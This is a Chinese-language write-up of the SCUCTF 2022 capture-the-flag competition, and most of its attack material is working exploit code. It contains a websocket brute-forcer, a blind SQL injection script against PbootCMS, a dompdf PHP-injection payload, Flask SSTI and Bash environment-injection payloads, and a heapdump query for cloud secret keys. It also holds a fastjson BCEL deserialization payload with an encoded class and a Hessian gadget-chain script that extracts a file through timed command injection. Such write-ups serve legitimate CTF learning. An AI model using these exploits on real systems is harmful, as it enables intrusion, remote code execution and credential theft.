NS - SCUCTF 2022

难得重新开始打比赛,从校赛开始复健练习

简简单单记录下

Web

checkin

赛题源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);

$action = $_GET['a']?$_GET['a']:highlight_file(__FILE__);

if($action==='inject'){
die('Permission denied');
}

$lock = call_user_func(($_GET['Y']));
if (isset($_GET['env']) && $lock == "Web_Dog" && $action == 'inject') {
foreach ($_GET["env"] as $k => $v) {
putenv("{$k}={$v}");
}

system("bash -c 'snakin'");
foreach ($_GET["env"] as $k => $v) {
putenv("{$k}");
}
}

?>

第一个action不填留空就行,第二个参数需要fuzz一下得到phpinfo可以过

1
2
3
4
5
6
7
import requests

funcs = ["exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"]
for func in funcs:
resp = requests.get(url="http://localhost:8888/222.php?a=inject1&Y="+func)
if "11111" in resp.text:
print(func)

第三个参数按P神的博客来学习下,本地测试成功,远程失败了,但flag在phpinfo里

1
2
3
Bash 4.4及以上: env[BASH_FUNC_snakin%25%25]=() { id; }
Bash 4.4以前:env[BASH_FUNC_snakin()]=() { id; }
需注意{}周围的空格是必不可少的

export2html

URL输入html生成pdf,看了下是php的,联想到dompdf。这里不是考的rce,而是另一个参数,见博文

payload: <script%20type="text/php">system("cat%20/flag%20>%20./flaaaaaa.txt");</script>

anya

ws暴破登录,密码221,脚本可以参考

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import asyncio
import websockets

async def hello(pass1):
async with websockets.connect("ws://*.*.*.*:23333/internal/ws") as websocket:
await websocket.send("begin")
await websocket.recv()
await websocket.send("user admin")
await websocket.send("pass "+pass1)
res = await websocket.recv()
if "badpass" not in res:
print(pass1,res)
exit()
print(pass1 + "error ")
async def main():
for i in range(220,100000):
await hello(str(i))

asyncio.run(main())

就是效率比较低得分段一起看看,后续研究下ws再来优化

登录后,SSTI,过滤了很多

payload: {{get_flashed_messages[%22__globAls__%22.lower()][%22__buIltins__%22.lower()].__import__(%22os%22)[%22eNviron%22.lower()]}}

RealWorld

SignIn

/env信息泄漏

参考https://github.com/LandGrey/SpringBootVulExploit,获取其中的SecretKey,下载/heapdump,执行OQL语句

1
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("SecretKey"))

拿到SecretKey和SecretId登录tx oss,获取flag

Make nday great again and again

第一步,利用前台注入拿CFG_COOKIE_ENCODE

第二步,跟着文章打到进后台

第三步,把配置文件中的DATA_CACHE_PREFIX打回来,计算前缀,Getshell

前缀计算代码

1
if ($path == DATA_PATH) { $pre = hash('md4', 'F17' . C('DATA_CACHE_PREFIX')) . '_'; $filename = $path . $pre . $name . '.php'; } 

ezCMS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# 参考https://gitcode.net/mirrors/mr-xn/Penetration_Testing_POC/-/blob/0392d19e857410ce03fe1979eaaa9843b2022a3a/books/PbootCMS%203.0.4%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0.pdf
import requests
import binascii
import string
import time

url = "http://*.*.*.*:23333/index.php?p=search"

headers = {
'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36',
'Content-Type':'application/x-www-form-urlencoded'
}

proxies = {
'http://':'127.0.0.1:8080'
}

def fetchName(mode):
char_dic = string.ascii_lowercase+string.digits+"}{-_$"
# 617925=ay%, 5e=^
if mode == 'tab':
payload = "SELECT DISTINCT 1 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA LIKE 0x70626f6f74636d73 AND TABLE_NAME NOT LIKE 0x617925 AND TABLE_NAME REGEXP 0x5e"
elif mode == 'col':
payload = "SELECT DISTINCT 1 FROM information_schema.COLUMNS WHERE TABLE_NAME LIKE 0x666c6167677a7a61 AND COLUMN_NAME REGEXP 0x5e"
elif mode == 'flag':
payload = "SELECT DISTINCT 1 FROM flaggzza WHERE flag REGEXP 0x5e736375"
else:
return "error"

name = ''
while True:
for alpha in char_dic:
# for none to fetch
if alpha == "$":
return name
hex_s = binascii.b2a_hex(bytes(alpha.encode('utf-8'))).decode('utf-8')
tmp_p = payload + hex_s
data = {'1': tmp_p}
print(data)
resp = requests.post(url=url, headers=headers, data=data, proxies=proxies)
if '未搜索到任何' not in resp.text:
payload += hex_s
name += alpha
break
# time.sleep(0.5)

# print("table: "+fetchName("tab")) # flaggzza
# print("column: "+fetchName("col")) # flag
print("flag: "+fetchName("flag"))

fastjson

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
BCELEncode.java
/*
* javac -encoding GBK -g -XDignore.symbol.file BCELEncode.java
* java BCELEncode EvilCode.class
*/
import java.io.*;
import java.nio.file.Files;
import com.sun.org.apache.bcel.internal.classfile.Utility;
public class BCELEncode
{
public static void main ( String[] argv ) throws Exception
{
String filename = argv[0];
byte[] buf = Files.readAllBytes( ( new File( filename ) ).toPath() );
/*
* public static String encode(byte[] bytes, boolean compress)
*/
String str = Utility.encode( buf, true );
String bcel = "$$BCEL$$" + str;
System.out.println( bcel );
}
}

SpringEcho.java
参考https://github.com/depycode/fastjson-local-echo

大概长这样, BCEL替换下就行
Payload:{{"\x40\x74\x79\x70\x65":"com.alibaba.fastjson.JSONObject","a":{"\x40\x74\x79\x70\x65":"org.apache.tomcat.dbcp.dbcp.BasicDataSource","driverClassLoader":{"\x40\x74\x79\x70\x65":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$$$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$ce$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7Tt$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96$p$a6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$z$94$ac$C$9b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$c1$81$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$$$K$Z$d3u$C$b1$Sd$3cq$ad$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$C$cf$wT$C$e1S$G2l$d66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$e6$93$X$de$b2$bda$d0$b6Z$$$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c03$9e$V$I$aa$eb$86$ccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tM$d5$e5$DY$88$867$f0$s$f5$d9$y$cd1$u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2$7e$91$8eC$a6$86$P$f1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e1$T$7c$aa$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$f1$8d$86$5b2T$7c$de$aeH$c7q$d3ve$d1$9dk$f9$8e$af$98$a2$iX$$$85$e85$ddRv$de$f0$83E$dfu$b2$cb$V$8a$b4$3aM$M$3dk6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cdf$c5$f3$84$T$d4$cf$5d$e9$81$c9GQd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj$gjmz$7d$9e$eb$3c$8e$84$ad$ad$d7vl$D$9bK$ebl$g$bd4$b3C$ee$S$96$b3$ec$$$R$edG$g$7d$85$cf$a0$c9W$a4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b5$efF$y$7dQ$7eW$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$C$f7$7c$99$8cr$86$9c$9a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8esE$c3$cb$cb$d7$e2$98bd$e0$o$Be$5b$c3Nt$ae$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft7$99Ej2$8c$89$VA$_$u$9d$de$60$Q$h$z$88$C$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dcl$c3$F$99$f7$a47$bc$90$eck$V_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B$fa$7d$91$7f$z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A"}}:"b"}

FInalUnser

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
package marshalsec;
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.ObjectBean;
import com.unboundid.util.json.JSONObject;
import marshalsec.gadgets.JDKUtil;
import sun.print.UnixPrintService;
import java.io.*;
import java.lang.reflect.Constructor;
import java.io.*;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;

public class Test {
public static void main(String[] args) throws Exception {
String dict = "}abcdefghijklmnopqrstuvwxyz0123456789-";
String addstr = "";
for (int pos=8; pos < 50; pos++) {
System.out.println("第"+pos+"位: ");
for (int i = 0; i < dict.length(); i++) {
String finalPayload = ";if [ `cut -c 1-"+pos+" /flag` = \"scuctf{"+ addstr + dict.charAt(i) + "\" ];then sleep 2;fi";
System.out.println(finalPayload);
Constructor<UnixPrintService> declaredConstructor = UnixPrintService.class.getDeclaredConstructor(String.class);
declaredConstructor.setAccessible(true);
ObjectBean delegate = new ObjectBean(UnixPrintService.class, declaredConstructor.newInstance(finalPayload));
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
HashMap<Object, Object> map = JDKUtil.makeMap(root, root);
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(os);
HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory();
sf.setAllowNonSerializable(true);
output.setSerializerFactory(sf);
output.writeObject(map);
output.getBytesOutputStream().flush();
output.completeMessage();
output.close();
String payload = new String(Base64.getEncoder().encode(os.toByteArray()));
Test http = new Test();
boolean res = http.doPost("http://*.*.*.*:1235/", payload, String.valueOf(dict.charAt(i)));
if (!res) {
addstr = addstr + dict.charAt(i);
break;
}
}
}
}

public boolean doPost(String URL, String payload, String flag) {
OutputStreamWriter out = null;
BufferedReader in = null;
StringBuilder result = new StringBuilder();
HttpURLConnection conn = null;
try {
URL url = new URL(URL);
conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("POST");
//发送POST请求必须设置为true
conn.setDoOutput(true);
conn.setDoInput(true);
//设置连接超时时间和读取超时时间,放短方便出错
conn.setConnectTimeout(1000);
conn.setReadTimeout(1000);
conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
conn.setRequestProperty("Accept", "text/html");
//获取输出流
out = new OutputStreamWriter(conn.getOutputStream());
out.write("payload="+payload);
out.flush();
out.close();
//取得输入流,并使用Reader读取
if (200 == conn.getResponseCode()) {
in = new BufferedReader(new InputStreamReader(conn.getInputStream(), "UTF-8"));
String line;
while ((line = in.readLine()) != null) {
result.append(line);
// System.out.println(line);
}
} else {
System.out.println("ResponseCode is an error code:" + conn.getResponseCode());
}
} catch (Exception e) {
// e.printStackTrace();
System.out.println(flag);
return false;
} finally {
try {
if (out != null) {
out.close();
}
if (in != null) {
in.close();
}
} catch (IOException ioe) {
ioe.printStackTrace();
}
}
return true;
}